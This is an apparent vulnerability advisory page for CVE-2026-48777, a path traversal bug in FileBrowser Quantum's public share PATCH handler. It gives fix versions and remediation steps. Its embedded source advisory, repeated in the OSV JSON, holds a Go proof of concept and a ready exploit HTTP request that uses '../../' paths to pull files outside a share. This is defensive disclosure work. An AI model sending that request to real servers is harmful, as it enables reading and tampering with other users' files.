CVE-2026-48777: FileBrowser Quantum Path Traversal Vulnerability

CRITICAL
Advisory Identifier: GHSA-qqqm-5547-774x
CWE-22
Published
Advisory Summary

CVE-2026-48777 is a CRITICAL path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting FileBrowser Quantum libraries in the Go ecosystem. The issue involves path traversal in public share patch allows file ops outside shared directory. Remediation is available by upgrading affected packages to version 0.0.0-20260518193514-28e9b81e438e.

CVE-2026-48777 at a Glance

CVE Identifier CVE-2026-48777
GHSA Identifier GHSA-qqqm-5547-774x
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product FileBrowser Quantum
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-48777

To remediate this vulnerability, upgrade all affected FileBrowser Quantum dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gtsteffaniak/filebrowser/backend fixed: 0.0.0-20260518193514-28e9b81e438e
Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260518193514-28e9b81e438e
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gtsteffaniak/filebrowser/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48777, inspect your project dependencies for FileBrowser Quantum:

inspect dependencies for github.com/gtsteffaniak/filebrowser/backend

Analyze the terminal output to locate any version of FileBrowser Quantum in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260518193514-28e9b81e438e), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In FileBrowser Quantum, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. Verified on commit 869b640 (HEAD of `main` as of 2026-05-07). ## Details In `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`: ```go // backend/http/public.go (publicPatchHandler) for i := range req.Items { req.Items[i].FromSource = sourceName req.Items[i].FromPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372 req.Items[i].ToSource = sourceName req.Items[i].ToPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath) // line 374 } d.Data = req status, err := resourcePatchHandler(w, r, d) ``` `utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which calls `filepath.Clean` and resolves `..` segments. By the time the joined path reaches `resourcePatchHandler`, every `..` from the body has been collapsed: ```go // backend/http/resource.go (resourcePatchHandler) cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794 // ... cleanToPath, err := utils.SanitizeUserPath(item.ToPath) // line 800 ``` `SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target. The share owner's user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`). The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated. For comparison, the same file's `publicPutHandler` uses the safe order: ```go // backend/http/public.go (publicPutHandler) -- safe order cleanPath, err := utils.SanitizeUserPath(path) // sanitize FIRST if err != nil { return http.StatusBadRequest, err } resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join ``` ## PoC The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`. ```go package main import ( "fmt" "path/filepath" "runtime" "strings" ) // Verbatim from backend/common/utils/file.go func SanitizeUserPath(userPath string) (string, error) { clean := filepath.Clean(userPath) for _, segment := range strings.Split(clean, string(filepath.Separator)) { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } if clean == "." { return "", fmt.Errorf("invalid path: path must standard index path") } return clean, nil } // Verbatim from backend/common/utils/main.go func JoinPathAsUnix(parts ...string) string { p := filepath.Join(parts...) if runtime.GOOS == "windows" { p = strings.ReplaceAll(p, "\\", "/") } return p } func main() { sharePath := "/users/alice/shared/" // d.share.Path (server-controlled) attackerInput := "../../bob/secret.txt" // publicPatchHandler line 372: join BEFORE sanitize joined := JoinPathAsUnix(sharePath, attackerInput) // resourcePatchHandler line 794: sanitize the already-joined path sanitized, err := SanitizeUserPath(joined) fmt.Printf("attacker input: %q\n", attackerInput) fmt.Printf("after join: %q\n", joined) fmt.Printf("sanitizer err: %v\n", err) fmt.Printf("sanitized path: %q\n", sanitized) } ``` Output: ``` attacker input: "../../bob/secret.txt" after join: "/users/bob/secret.txt" sanitizer err: <nil> sanitized path: "/users/bob/secret.txt" ``` The path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `<source-root>/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE. End-to-end exploit request shape: ``` PATCH /public/api/resources?hash=<share-hash> HTTP/1.1 Content-Type: application/json { "action": "rename", "items": [ { "fromSource": "default", "fromPath": "../../bob/secret.txt", "toSource": "default", "toPath": "stolen.txt" } ] } ``` After the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope. ## Impact An unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns: 1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read. 2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them). Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.

CVE-2026-48777 Affected FileBrowser Quantum Versions

1 component(s)
Fixed Versions:
0.0.0-20260518193514-28e9b81e438e
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gtsteffaniak/filebrowser/backend
Go
< 0.0.0-20260518193514-28e9b81e438e
0.0.0-20260518193514-28e9b81e438e

References

Frequently Asked Questions

What is CVE-2026-48777?
CVE-2026-48777 is a security vulnerability in FileBrowser Quantum involving Path traversal in public share PATCH allows file ops outside shared directory under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which FileBrowser Quantum versions are affected?
Affected versions include releases prior to 0.0.0-20260518193514-28e9b81e438e across affected packages: github.com/gtsteffaniak/filebrowser/backend.
What version fixes CVE-2026-48777?
Upgrading to 0.0.0-20260518193514-28e9b81e438e (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gtsteffaniak/filebrowser/backend affected?
Yes, github.com/gtsteffaniak/filebrowser/backend is affected in releases prior to 0.0.0-20260518193514-28e9b81e438e. Upgrade your dependency to 0.0.0-20260518193514-28e9b81e438e or later.
What CWE is associated with CVE-2026-48777?
CVE-2026-48777 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-48777?
Run the dependency tree command: 'inspect dependencies for github.com/gtsteffaniak/filebrowser/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qqqm-5547-774x",
  "modified" : "2026-06-08T23:15:23Z",
  "published" : "2026-05-22T17:26:25Z",
  "aliases" : [ "CVE-2026-48777" ],
  "summary" : "FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory",
  "details" : "## Summary\n\n`publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.\n\nA public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root.\n\nVerified on commit 869b640 (HEAD of `main` as of 2026-05-07).\n\n## Details\n\nIn `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`:\n\n```go\n// backend/http/public.go (publicPatchHandler)\nfor i := range req.Items {\n    req.Items[i].FromSource = sourceName\n    req.Items[i].FromPath   = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372\n    req.Items[i].ToSource   = sourceName\n    req.Items[i].ToPath     = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath)   // line 374\n}\nd.Data = req\nstatus, err := resourcePatchHandler(w, r, d)\n```\n\n`utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which\ncalls `filepath.Clean` and resolves `..` segments. By the time the\njoined path reaches `resourcePatchHandler`, every `..` from the body\nhas been collapsed:\n\n```go\n// backend/http/resource.go (resourcePatchHandler)\ncleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794\n// ...\ncleanToPath, err  := utils.SanitizeUserPath(item.ToPath)    // line 800\n```\n\n`SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.\n\nThe share owner's user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`).\n\nThe fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated.\n\nFor comparison, the same file's `publicPutHandler` uses the safe order:\n\n```go\n// backend/http/public.go (publicPutHandler) -- safe order\ncleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST\nif err != nil { return http.StatusBadRequest, err }\nresolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join\n```\n\n## PoC\n\nThe bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"path/filepath\"\n    \"runtime\"\n    \"strings\"\n)\n\n// Verbatim from backend/common/utils/file.go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    clean := filepath.Clean(userPath)\n    for _, segment := range strings.Split(clean, string(filepath.Separator)) {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    if clean == \".\" {\n        return \"\", fmt.Errorf(\"invalid path: path must standard index path\")\n    }\n    return clean, nil\n}\n\n// Verbatim from backend/common/utils/main.go\nfunc JoinPathAsUnix(parts ...string) string {\n    p := filepath.Join(parts...)\n    if runtime.GOOS == \"windows\" {\n        p = strings.ReplaceAll(p, \"\\\\\", \"/\")\n    }\n    return p\n}\n\nfunc main() {\n    sharePath := \"/users/alice/shared/\" // d.share.Path (server-controlled)\n    attackerInput := \"../../bob/secret.txt\"\n\n    // publicPatchHandler line 372: join BEFORE sanitize\n    joined := JoinPathAsUnix(sharePath, attackerInput)\n\n    // resourcePatchHandler line 794: sanitize the already-joined path\n    sanitized, err := SanitizeUserPath(joined)\n\n    fmt.Printf(\"attacker input: %q\\n\", attackerInput)\n    fmt.Printf(\"after join:     %q\\n\", joined)\n    fmt.Printf(\"sanitizer err:  %v\\n\", err)\n    fmt.Printf(\"sanitized path: %q\\n\", sanitized)\n}\n```\n\nOutput:\n\n```\nattacker input: \"../../bob/secret.txt\"\nafter join:     \"/users/bob/secret.txt\"\nsanitizer err:  <nil>\nsanitized path: \"/users/bob/secret.txt\"\n```\n\nThe path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `<source-root>/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE.\n\nEnd-to-end exploit request shape:\n\n```\nPATCH /public/api/resources?hash=<share-hash> HTTP/1.1\nContent-Type: application/json\n\n{\n  \"action\": \"rename\",\n  \"items\": [\n    {\n      \"fromSource\": \"default\",\n      \"fromPath\":   \"../../bob/secret.txt\",\n      \"toSource\":   \"default\",\n      \"toPath\":     \"stolen.txt\"\n    }\n  ]\n}\n```\n\nAfter the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.\n\n## Impact\n\nAn unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:\n\n1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.\n\n2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).\n\nScope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gtsteffaniak/filebrowser/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260518193514-28e9b81e438e"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-qqqm-5547-774x"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gtsteffaniak/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-22T17:26:25Z",
    "nvd_published_at" : null
  }
}